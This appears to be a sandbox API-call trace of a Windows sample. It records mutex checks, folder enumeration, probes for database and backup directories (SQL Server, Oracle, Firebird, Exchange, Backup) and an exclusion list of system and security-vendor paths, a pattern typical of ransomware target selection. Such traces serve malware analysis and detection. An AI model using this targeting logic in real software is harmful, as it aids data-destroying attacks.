[0056.577] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.577] GlobalUnlock (hMem=0x440004) returned 0 [0056.577] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.577] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.577] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.577] GlobalUnlock (hMem=0x440004) returned 0 [0056.577] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.577] GlobalUnlock (hMem=0x44000c) returned 0 [0056.577] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.577] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.577] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.577] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.577] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.577] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.577] GlobalUnlock (hMem=0x44000c) returned 0 [0056.577] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.577] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.577] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.577] GlobalUnlock (hMem=0x44000c) returned 0 [0056.577] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.577] GlobalUnlock (hMem=0x440004) returned 0 [0056.577] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.577] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0056.577] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.577] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.577] GlobalLock (hMem=0x440004) returned 0x550170 [0056.577] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.577] GlobalUnlock (hMem=0x440004) returned 0 [0056.577] GlobalLock (hMem=0x440004) returned 0x550170 [0056.578] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.578] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.578] GlobalUnlock (hMem=0x440004) returned 0 [0056.578] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.578] GlobalUnlock (hMem=0x44000c) returned 0 [0056.578] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.578] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.578] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.578] GlobalUnlock (hMem=0x44000c) returned 0 [0056.578] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.578] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.578] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.578] GlobalUnlock (hMem=0x44000c) returned 0 [0056.578] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.578] GlobalUnlock (hMem=0x440004) returned 0 [0056.578] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.578] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20", len=0x3b | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned 1 [0056.578] GlobalLock (hMem=0x440004) returned 0x550170 [0056.578] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.578] GlobalUnlock (hMem=0x440004) returned 0 [0056.578] GlobalLock (hMem=0x440004) returned 0x550170 [0056.578] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.578] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.578] GlobalUnlock (hMem=0x440004) returned 0 [0056.578] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.578] GlobalUnlock (hMem=0x44000c) returned 0 [0056.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@闘R閬R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.579] GetLastError () returned 0x3 [0056.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@锴R企@\x18㿬Q\x181")) returned 0xffffffff [0056.579] GetLastError () returned 0x2 [0056.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@帬R企@\x18?T\x18;")) returned 0xffffffff [0056.579] GetLastError () returned 0x2 [0056.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@嵤R企@\x18?T\x18D")) returned 0xffffffff [0056.580] GetLastError () returned 0x2 [0056.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0056.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@锴R企@\x18帬R\x18j")) returned 0xffffffff [0056.580] GetLastError () returned 0x2 [0056.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0056.580] GetLastError () returned 0x2 [0056.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\帨R°") returned 6 [0056.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@숼R企@\x18?T\x18y")) returned 0xffffffff [0056.581] GetLastError () returned 0x2 [0056.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0056.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@嵤R企@\x18?T\x18\x81")) returned 0xffffffff [0056.581] GetLastError () returned 0x2 [0056.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0056.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0056.581] GetLastError () returned 0x2 [0056.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0056.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@숼R企@\x18?T\x18\x8f")) returned 0xffffffff [0056.581] GetLastError () returned 0x2 [0056.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0056.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="闼R䱠@嵤R企@\x18?T\x18\x97")) returned 0xffffffff [0056.582] GetLastError () returned 0x2 [0056.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0056.582] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.582] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.582] GlobalUnlock (hMem=0x44000c) returned 0 [0056.582] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.582] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.582] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.582] GlobalUnlock (hMem=0x44000c) returned 0 [0056.582] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.582] GlobalUnlock (hMem=0x440004) returned 0 [0056.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.582] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.582] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.582] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.582] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.582] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.582] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.583] GlobalLock (hMem=0x440004) returned 0x550170 [0056.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.583] GlobalUnlock (hMem=0x440004) returned 0 [0056.583] GlobalLock (hMem=0x440004) returned 0x550170 [0056.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.583] GlobalUnlock (hMem=0x440004) returned 0 [0056.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.583] GlobalUnlock (hMem=0x44000c) returned 0 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.583] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.584] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\") returned 0x3c [0056.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.584] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.584] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.584] GlobalUnlock (hMem=0x44000c) returned 0 [0056.584] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.593] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.593] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.593] GlobalUnlock (hMem=0x44000c) returned 0 [0056.593] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.593] GlobalUnlock (hMem=0x440004) returned 0 [0056.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0056.594] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, 